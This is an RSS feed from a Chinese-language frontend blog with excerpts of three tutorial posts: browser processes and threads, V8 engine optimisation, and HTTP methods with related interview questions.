<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>计算机网络 on Last Stand</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/</link><description>Recent content in 计算机网络 on Last Stand</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Thu, 07 Aug 2025 00:00:00 +0800</lastBuildDate><atom:link href="https://amatsuzero.github.io/LastStand/posts/frontend/network/index.xml" rel="self" type="application/rss+xml"/><item><title>浏览器的进程和线程</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/</guid><description>&lt;h2 id="区分进程和线程"&gt;区分进程和线程&lt;/h2&gt;
&lt;p&gt;线程和进程区分不清，是很多新手都会犯的错误，没有关系。这很正常。先看看下面这个形象的比喻：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;进程是一个工厂&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;工厂有它的独立资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂之间相互独立&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;线程是工厂中的工人&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;多个工人协作完成任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂内有一个或多个工人&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工人之间共享空间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再完善完善概念：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂的资源&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;系统分配的内存&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;（&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;独立的一块内存&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂之间的相互独立&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;进程之间相互独立&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;多个工人协作完成任务&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;多个线程在进程中协作完成任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂内有一个或多个工人&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;一个进程由一个或多个线程组成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工人之间共享空间&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;同一进程下的各个线程之间共享程序的内存空间&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;（&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;包括代码段&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;数据集&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;堆等&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后再巩固下：&lt;/p&gt;
&lt;p&gt;如果是windows电脑中，可以打开任务管理器，可以看到有一个后台进程列表。对，那里就是查看进程的地方，而且可以看到每个进程的内存资源信息以及cpu占有率。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;所以，应该更容易理解了：&lt;strong&gt;进程是cpu资源分配的最小单位（系统会给它分配内存）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最后，再用较为官方的术语描述一遍：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进程是cpu资源分配的最小单位（是能拥有资源和独立运行的最小单位）&lt;/li&gt;
&lt;li&gt;线程是cpu调度的最小单位（线程是建立在进程的基础上的一次程序运行单位，一个进程中可以有多个线程）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;tips&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不同进程之间也可以通信，不过代价较大&lt;/li&gt;
&lt;li&gt;现在，一般通用的叫法：&lt;strong&gt;单线程与多线程&lt;/strong&gt;，都是指&lt;strong&gt;在一个进程内&lt;/strong&gt;的单和多。（所以核心还是得属于一个进程才行）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="浏览器是多进程的"&gt;浏览器是多进程的&lt;/h2&gt;
&lt;p&gt;理解了进程与线程了区别后，接下来对浏览器进行一定程度上的认识：（先看下简化理解）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器是多进程的&lt;/li&gt;
&lt;li&gt;浏览器之所以能够运行，是因为系统给它的进程分配了资源（cpu、内存）&lt;/li&gt;
&lt;li&gt;简单点理解，每打开一个Tab页，就相当于创建了一个独立的浏览器进程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关于以上几点的验证，&lt;strong&gt;请再第一张图&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;图中打开了&lt;code&gt;Chrome&lt;/code&gt;浏览器的多个标签页，然后可以在&lt;code&gt;Chrome的任务管理器&lt;/code&gt;中看到有多个进程（分别是每一个Tab页面有一个独立的进程，以及一个主进程）。 感兴趣的可以自行尝试下，如果再多打开一个Tab页，进程正常会+1以上&lt;/p&gt;
&lt;p&gt;**注意：**在这里浏览器应该也有自己的优化机制，有时候打开多个tab页后，可以在Chrome任务管理器中看到，有些进程被合并了 （所以每一个Tab标签对应一个进程并不一定是绝对的）&lt;/p&gt;
&lt;h3 id="浏览器都包含哪些进程"&gt;浏览器都包含哪些进程？&lt;/h3&gt;
&lt;p&gt;知道了浏览器是多进程后，再来看看它到底包含哪些进程：（为了简化理解，仅列举主要进程）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Browser进程：浏览器的主进程（负责协调、主控），只有一个。作用有&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;负责浏览器界面显示，与用户交互。如前进，后退等&lt;/li&gt;
&lt;li&gt;负责各个页面的管理，创建和销毁其他进程&lt;/li&gt;
&lt;li&gt;将Renderer进程得到的内存中的Bitmap，绘制到用户界面上&lt;/li&gt;
&lt;li&gt;网络资源的管理，下载等&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;第三方插件进程：每种类型的插件对应一个进程，仅当使用该插件时才创建&lt;/li&gt;
&lt;li&gt;GPU进程：最多一个，用于3D绘制等&lt;/li&gt;
&lt;li&gt;浏览器渲染进程（浏览器内核）（Renderer进程，内部是多线程的）：默认每个Tab页面一个进程，互不影响。主要作用为&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;页面渲染，脚本执行，事件处理等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;强化记忆：&lt;strong&gt;在浏览器中打开一个网页相当于新起了一个进程（进程内有自己的多线程）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当然，浏览器有时会将多个进程合并（譬如打开多个空白标签页后，会发现多个空白标签页被合并成了一个进程），如图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;另外，可以通过Chrome的&lt;code&gt;更多工具 -&amp;gt; 任务管理器&lt;/code&gt;自行验证&lt;/p&gt;
&lt;h3 id="浏览器多进程的优势"&gt;浏览器多进程的优势&lt;/h3&gt;
&lt;p&gt;相比于单进程浏览器，多进程有如下优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;避免单个page crash影响整个浏览器&lt;/li&gt;
&lt;li&gt;避免第三方插件crash影响整个浏览器&lt;/li&gt;
&lt;li&gt;多进程充分利用多核优势&lt;/li&gt;
&lt;li&gt;方便使用沙盒模型隔离插件等进程，提高浏览器稳定性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单点理解：&lt;strong&gt;如果浏览器是单进程，那么某个Tab页崩溃了，就影响了整个浏览器，体验有多差；同理如果是单进程，插件崩溃了也会影响整个浏览器；而且多进程还有其它的诸多优势。。。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当然，内存等资源消耗也会更大，有点空间换时间的意思。&lt;/p&gt;
&lt;h3 id="重点是浏览器内核渲染进程"&gt;重点是浏览器内核（渲染进程）&lt;/h3&gt;
&lt;p&gt;重点来了，我们可以看到，上面提到了这么多的进程，那么，对于普通的前端操作来说，最终要的是什么呢？答案是&lt;strong&gt;渲染进程&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>V8 引擎的优化机制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-002/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-002/</guid><description>&lt;p&gt;V8 是 Google 开发的 JavaScript 引擎（用于 Chrome、Node.js 等），它的核心优化机制可以总结为：&lt;strong&gt;即时编译（JIT） + 隐式类型优化 + 内联缓存 + 垃圾回收机制&lt;/strong&gt;，通过这些方式来大幅提升 JS 的执行性能。&lt;/p&gt;
&lt;h2 id="一v8-的执行流程"&gt;一、V8 的执行流程&lt;/h2&gt;
&lt;p&gt;V8 不直接解释执行 JavaScript，而是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解析（Parser）&lt;/strong&gt;：将 JS 源码解析为 AST（抽象语法树）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成字节码（Bytecode）&lt;/strong&gt;：由 &lt;code&gt;Ignition&lt;/code&gt; 引擎生成并执行初始字节码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;收集类型信息（Profiler）&lt;/strong&gt;：运行时收集变量类型、函数调用等信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化编译（JIT）&lt;/strong&gt;：将热点代码交给 &lt;code&gt;TurboFan&lt;/code&gt; 引擎编译为高效的机器码&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="二核心优化机制"&gt;二、核心优化机制&lt;/h2&gt;
&lt;h3 id="1-隐藏类hidden-class与内联缓存inline-cache"&gt;1. &lt;strong&gt;隐藏类（Hidden Class）与内联缓存（Inline Cache）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;为了优化对象属性访问，V8 引入了隐藏类机制，类似 C++ 中的类结构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;初次创建对象时，生成一个隐藏类（HiddenClass）&lt;/li&gt;
&lt;li&gt;添加属性时会生成新的隐藏类链表结构&lt;/li&gt;
&lt;li&gt;相同结构的对象共享隐藏类，从而使访问更快&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;不要动态给对象添加属性，尽量保持对象结构稳定。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;内联缓存&lt;/strong&gt;：缓存某个属性的访问位置，使得后续同样结构的对象访问不必重新查找。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Tom&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Jerry&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 内联缓存会优化 this.name 的访问路径
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-类型反馈与优化编译type-feedback--jit"&gt;2. &lt;strong&gt;类型反馈与优化编译（Type Feedback + JIT）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;V8 在执行字节码时会收集类型信息（比如函数参数、返回值的类型），并标记频繁调用的代码为“热点代码”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;热点代码会被交给 &lt;code&gt;TurboFan&lt;/code&gt; 做优化编译&lt;/li&gt;
&lt;li&gt;编译时使用收集到的类型信息来生成专用的机器码（类型特化）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 优化为整数加法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;b&amp;#34;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 类型变化 -&amp;gt; 去优化
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;不要在同一个函数中混用不同类型，可能导致优化失败或退化。&lt;/p&gt;</description></item><item><title>http方法</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-003/</link><pubDate>Sat, 26 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-003/</guid><description>&lt;p&gt;HTTP 协议中定义了多种 &lt;strong&gt;请求方法（HTTP Methods）&lt;/strong&gt;，用于客户端和服务器之间进行不同的操作。&lt;/p&gt;
&lt;h3 id="一常用的-http-方法"&gt;一、常用的 HTTP 方法&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;是否幂等&lt;/th&gt;
&lt;th&gt;是否安全&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GET&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 幂等&lt;/td&gt;
&lt;td&gt;✅ 安全&lt;/td&gt;
&lt;td&gt;获取资源。请求参数放在 URL 上。不会对资源产生副作用。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;POST&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 非幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;提交数据（如表单、上传），可能导致资源变化或创建。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PUT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;用于&lt;strong&gt;整体更新&lt;/strong&gt;某个资源（数据完全替换）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PATCH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 非幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;用于&lt;strong&gt;部分更新&lt;/strong&gt;资源（只改动部分字段）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DELETE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;删除指定资源。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="二幂等性和安全性解释"&gt;二、幂等性和安全性解释&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;幂等（Idempotent）&lt;/strong&gt;：同一个请求重复执行多次，结果应一样。例如多次 DELETE 相同资源结果相同。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全（Safe）&lt;/strong&gt;：不对服务器资源造成副作用。GET 只查询，不修改数据，因此是安全的。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三其他常见-http-方法"&gt;三、其他常见 HTTP 方法&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HEAD&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;类似 GET，但不返回响应体，只返回响应头。常用于检测资源是否存在、获取响应信息。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OPTIONS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用于客户端获取服务器支持哪些方法。也是 CORS 预检请求的一部分。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TRACE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;回显服务器收到的请求，主要用于调试。很少使用，可能存在安全隐患。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CONNECT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用于建立隧道（如 HTTPS 的代理通信）。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="四使用场景示例"&gt;四、使用场景示例&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;获取用户列表&lt;/td&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GET /api/users&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;创建用户&lt;/td&gt;
&lt;td&gt;POST&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /api/users&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;更新用户信息&lt;/td&gt;
&lt;td&gt;PUT / PATCH&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PUT /api/users/1&lt;/code&gt; 或 &lt;code&gt;PATCH /api/users/1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;删除用户&lt;/td&gt;
&lt;td&gt;DELETE&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DELETE /api/users/1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="总结记住这几点"&gt;总结：记住这几点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GET&lt;/strong&gt; 用于查询（安全、幂等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;POST&lt;/strong&gt; 用于新增（不幂等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PUT/PATCH&lt;/strong&gt; 用于修改资源（PUT 是整体替换，PATCH 是部分更新）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE&lt;/strong&gt; 用于删除资源（幂等，但不安全）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OPTIONS/HEAD&lt;/strong&gt; 用于辅助请求。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h4 id="1-语义理解"&gt;1. &lt;strong&gt;语义理解&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;每个方法在 RESTful API 中代表的含义？&lt;/li&gt;
&lt;li&gt;PUT 和 PATCH 的区别？&lt;/li&gt;
&lt;li&gt;GET 和 POST 区别？是否可以用 POST 替代 GET？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-幂等性与安全性"&gt;2. &lt;strong&gt;幂等性与安全性&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;哪些方法是幂等的？（调用多次结果一致）&lt;/li&gt;
&lt;li&gt;哪些方法是安全的？（不会对服务器资源产生副作用）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-浏览器行为"&gt;3. &lt;strong&gt;浏览器行为&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;表单默认提交方式是什么？（GET 或 POST）&lt;/li&gt;
&lt;li&gt;GET 请求能携带 body 吗？（规范上不能，但部分浏览器允许）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-缓存行为"&gt;4. &lt;strong&gt;缓存行为&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;浏览器对 GET、POST 的缓存行为有什么区别？&lt;/li&gt;
&lt;li&gt;为什么 GET 更适合缓存？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-跨域相关cors"&gt;5. &lt;strong&gt;跨域相关（CORS）&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;哪些方法属于“简单请求”？&lt;/li&gt;
&lt;li&gt;使用 PUT/PATCH/DELETE 会触发预检请求（OPTIONS），为什么？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-请求体与响应体"&gt;6. &lt;strong&gt;请求体与响应体&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;哪些方法通常不携带请求体？（如 GET、DELETE）&lt;/li&gt;
&lt;li&gt;哪些方法可以/需要携带请求体？（如 POST、PUT、PATCH）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="7-对比和实际使用中的陷阱"&gt;7. &lt;strong&gt;对比和实际使用中的陷阱&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;PUT/POST 混用的场景（如某些系统用 POST 实现更新）&lt;/li&gt;
&lt;li&gt;DELETE 是否要有请求体？（规范允许，但不推荐）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="可能的延伸考察"&gt;可能的延伸考察&lt;/h3&gt;
&lt;h4 id="restful-api-设计规范"&gt;RESTful API 设计规范&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;REST API 中，如何正确使用 GET/POST/PUT/DELETE 等方法？&lt;/li&gt;
&lt;li&gt;设计一个增删改查接口，如何对应到不同 HTTP 方法？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="状态码与方法配合"&gt;状态码与方法配合&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;DELETE 成功一般返回什么状态码？（如 204 No Content）&lt;/li&gt;
&lt;li&gt;POST 创建资源后返回什么？（201 Created）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="结合安全问题"&gt;结合安全问题&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;POST/PUT 方法可能面临哪些安全风险？如 CSRF？&lt;/li&gt;
&lt;li&gt;为什么建议对非幂等方法加 CSRF 防护？&lt;/li&gt;
